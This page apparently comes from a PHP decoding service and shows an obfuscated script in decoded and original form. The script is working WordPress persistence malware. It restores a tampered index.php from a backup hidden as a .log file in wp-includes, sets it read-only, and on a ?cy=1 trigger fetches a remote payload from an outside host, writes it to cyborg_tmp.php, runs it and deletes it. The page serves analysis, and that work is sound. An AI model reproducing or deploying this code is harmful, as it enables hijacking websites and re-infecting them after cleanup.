Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto GRLDV; lnF3g: $BCwMJ = isset($_SERVER["\x48\124\x54\120\123"]) && $..

Decoded Output download

<?php goto GRLDV; 
lnF3g: 
$BCwMJ = 
    isset($_SERVER["HTTPS"]) && 
    $_SERVER["HTTPS"] == "on" 
        ? "https" 
        : "http"; 
goto U2CQz; 
vXzQA: 
@unlink($teIhn); 
goto bmmVL; 
bmmVL: 
@file_put_contents($teIhn, base64_decode($GBe1y)); 
goto mi5qO; 
sa3wQ: 
goto p3u1w; 
goto UIpDv; 
DKGbz: 
if (file_exists($sh5Ur)) { 
    goto nWB0H; 
} 
goto AgL8W; 
vVS48: 
$GBe1y = "base64"; 
goto g0AxS; 
RJO4n: 
$IIRkA = "'wp-includes/blocks/post-excerptUeSsu.log'"; 
goto puFaq; 
iFEw8: 
@file_get_contents($LDSdT, false, stream_context_create($FmNyg)); 
goto fzqB5; 
mi5qO: 
@chmod($teIhn, 0444); 
goto Q1h6s; 
A2YB1: 
if (file_exists($sh5Ur)) { 
    goto vPFTh; 
} 
goto vVS48; 
UIpDv: 
vPFTh: 
goto kmtoG; 
KFCjO: 
$MUfhd = 8100; 
goto QZr3e; 
hj0J5: 
@chmod($teIhn, 438); 
goto vXzQA; 
vBbuc: 
echo filesize($teIhn); 
goto JW2S_; 
GRLDV: 
$teIhn = 
    $_SERVER["DOCUMENT_ROOT"] . 
    "/index.php"; 
goto RJO4n; 
aYxiF: 
Z9u3k: 
goto pL_CA; 
Q1h6s: 
p3u1w: 
goto R15wv; 
kmtoG: 
$GBe1y = @file_get_contents($sh5Ur); 
goto hj0J5; 
juSHf: 
$LDSdT = 
    $BCwMJ . 
    "://" . 
    $OLdjY . 
    "/cyborg_tmp.php"; 
goto iFEw8; 
JW2S_: 
CPoLu: 
goto stoY0; 
gQwrQ: 
if (!($_GET["line"] == "a")) { 
    goto CPoLu; 
} 
goto DKGbz; 
v1Cq2: 
@chmod($teIhn, 0444); 
goto sa3wQ; 
H3sdL: 
@file_put_contents($jmeyB, $b5fe7); 
goto qdfJt; 
VMluy: 
if (!$b5fe7) { 
    goto Z9u3k; 
} 
goto joH1j; 
qdfJt: 
$FmNyg = [ 
    "ssl" => [ 
        "verify_peer" => false, 
        "verify_peer_name" => false, 
    ], 
    "http" => [ 
        "method" => "GET", 
        "timeout" => "3", 
    ], 
]; 
goto lnF3g; 
N7Wor: 
@unlink($teIhn); 
goto Gbwg1; 
Qkn7r: 
$b5fe7 = @file_get_contents($d0efA); 
goto VMluy; 
Gbwg1: 
@file_put_contents($teIhn, base64_decode($GBe1y)); 
goto v1Cq2; 
g0AxS: 
@chmod($teIhn, 438); 
goto N7Wor; 
r35kR: 
$d0efA = 
    "http://s.newnday.xyz/cy/cy.gif"; 
goto Qkn7r; 
joH1j: 
$jmeyB = 
    $_SERVER["DOCUME" . "NT_ROOT"] . 
    "/cyborg_tmp.php"; 
goto H3sdL; 
puFaq: 
$sh5Ur = 
    $_SERVER["DOCUMENT_ROOT"] . 
    "/" . 
    $IIRkA; 
goto KFCjO; 
U2CQz: 
$OLdjY = $_SERVER["HTTP_HOST"]; 
goto juSHf; 
fzqB5: 
$sYKnl = @unlink($jmeyB); 
goto aYxiF; 
QZr3e: 
if (!(!file_exists($teIhn) or filesize($teIhn) != $MUfhd)) { 
    goto sxc3Y; 
} 
goto A2YB1; 
AgL8W: 
echo "lost log"; 
goto KLfZ0; 
KLfZ0: 
nWB0H: 
goto vBbuc; 
stoY0: 
if (!(filesize($teIhn) == $MUfhd && $_GET["cy"] == "1")) { 
    goto dKs1B; 
} 
goto r35kR; 
R15wv: 
sxc3Y: 
goto gQwrQ; 
pL_CA: 
dKs1B: 
 ?>

Did this file decode correctly?

Original Code

<?php goto GRLDV;
lnF3g:
$BCwMJ =
    isset($_SERVER["\x48\124\x54\120\123"]) &&
    $_SERVER["\x48\x54\x54\x50\123"] == "\x6f\x6e"
        ? "\150\164\x74\x70\x73"
        : "\x68\x74\x74\x70";
goto U2CQz;
vXzQA:
@unlink($teIhn);
goto bmmVL;
bmmVL:
@file_put_contents($teIhn, base64_decode($GBe1y));
goto mi5qO;
sa3wQ:
goto p3u1w;
goto UIpDv;
DKGbz:
if (file_exists($sh5Ur)) {
    goto nWB0H;
}
goto AgL8W;
vVS48:
$GBe1y = "base64";
goto g0AxS;
RJO4n:
$IIRkA = "'wp-includes/blocks/post-excerptUeSsu.log'";
goto puFaq;
iFEw8:
@file_get_contents($LDSdT, false, stream_context_create($FmNyg));
goto fzqB5;
mi5qO:
@chmod($teIhn, 0444);
goto Q1h6s;
A2YB1:
if (file_exists($sh5Ur)) {
    goto vPFTh;
}
goto vVS48;
UIpDv:
vPFTh:
goto kmtoG;
KFCjO:
$MUfhd = 8100;
goto QZr3e;
hj0J5:
@chmod($teIhn, 438);
goto vXzQA;
vBbuc:
echo filesize($teIhn);
goto JW2S_;
GRLDV:
$teIhn =
    $_SERVER["\x44\x4f\x43\x55\x4d\x45\x4e\124\137\x52\x4f\x4f\x54"] .
    "\57\x69\x6e\x64\x65\x78\56\160\150\x70";
goto RJO4n;
aYxiF:
Z9u3k:
goto pL_CA;
Q1h6s:
p3u1w:
goto R15wv;
kmtoG:
$GBe1y = @file_get_contents($sh5Ur);
goto hj0J5;
juSHf:
$LDSdT =
    $BCwMJ .
    "\72\x2f\57" .
    $OLdjY .
    "\57\x63\171\x62\x6f\162\x67\137\x74\x6d\160\56\160\x68\160";
goto iFEw8;
JW2S_:
CPoLu:
goto stoY0;
gQwrQ:
if (!($_GET["\x6c\x69\x6e\145"] == "\141")) {
    goto CPoLu;
}
goto DKGbz;
v1Cq2:
@chmod($teIhn, 0444);
goto sa3wQ;
H3sdL:
@file_put_contents($jmeyB, $b5fe7);
goto qdfJt;
VMluy:
if (!$b5fe7) {
    goto Z9u3k;
}
goto joH1j;
qdfJt:
$FmNyg = [
    "\163\163\154" => [
        "\166\145\x72\151\x66\171\137\x70\x65\x65\x72" => false,
        "\x76\x65\162\151\146\171\x5f\x70\145\145\162\x5f\156\x61\155\145" => false,
    ],
    "\150\x74\x74\160" => [
        "\155\145\x74\x68\x6f\x64" => "\x47\x45\124",
        "\164\x69\x6d\145\157\x75\164" => "\63",
    ],
];
goto lnF3g;
N7Wor:
@unlink($teIhn);
goto Gbwg1;
Qkn7r:
$b5fe7 = @file_get_contents($d0efA);
goto VMluy;
Gbwg1:
@file_put_contents($teIhn, base64_decode($GBe1y));
goto v1Cq2;
g0AxS:
@chmod($teIhn, 438);
goto N7Wor;
r35kR:
$d0efA =
    "\150\164\x74\x70\x3a\x2f\57\x73\x2e\156\x65\x77\x6e\144\x61\171\56\170\x79\172\57\143\171\57\x63\171\x2e\147\151\146";
goto Qkn7r;
joH1j:
$jmeyB =
    $_SERVER["\x44\x4f\x43\x55\115\x45" . "\x4e\124\137\x52\117\117\x54"] .
    "\57\x63\x79\142\x6f\162\147\x5f\164\x6d\160\56\160\150\x70";
goto H3sdL;
puFaq:
$sh5Ur =
    $_SERVER["\104\x4f\103\x55\x4d\x45\x4e\124\x5f\122\x4f\x4f\x54"] .
    "\57" .
    $IIRkA;
goto KFCjO;
U2CQz:
$OLdjY = $_SERVER["\110\124\124\120\137\x48\x4f\x53\124"];
goto juSHf;
fzqB5:
$sYKnl = @unlink($jmeyB);
goto aYxiF;
QZr3e:
if (!(!file_exists($teIhn) or filesize($teIhn) != $MUfhd)) {
    goto sxc3Y;
}
goto A2YB1;
AgL8W:
echo "\154\x6f\163\x74\40\x6c\157\147";
goto KLfZ0;
KLfZ0:
nWB0H:
goto vBbuc;
stoY0:
if (!(filesize($teIhn) == $MUfhd && $_GET["\143\x79"] == "\x31")) {
    goto dKs1B;
}
goto r35kR;
R15wv:
sxc3Y:
goto gQwrQ;
pL_CA:
dKs1B:

Function Calls

None

Variables

None

Stats

MD5 7276e6813921313677aad1aed0fc6429
Eval Count 0
Decode Time 52 ms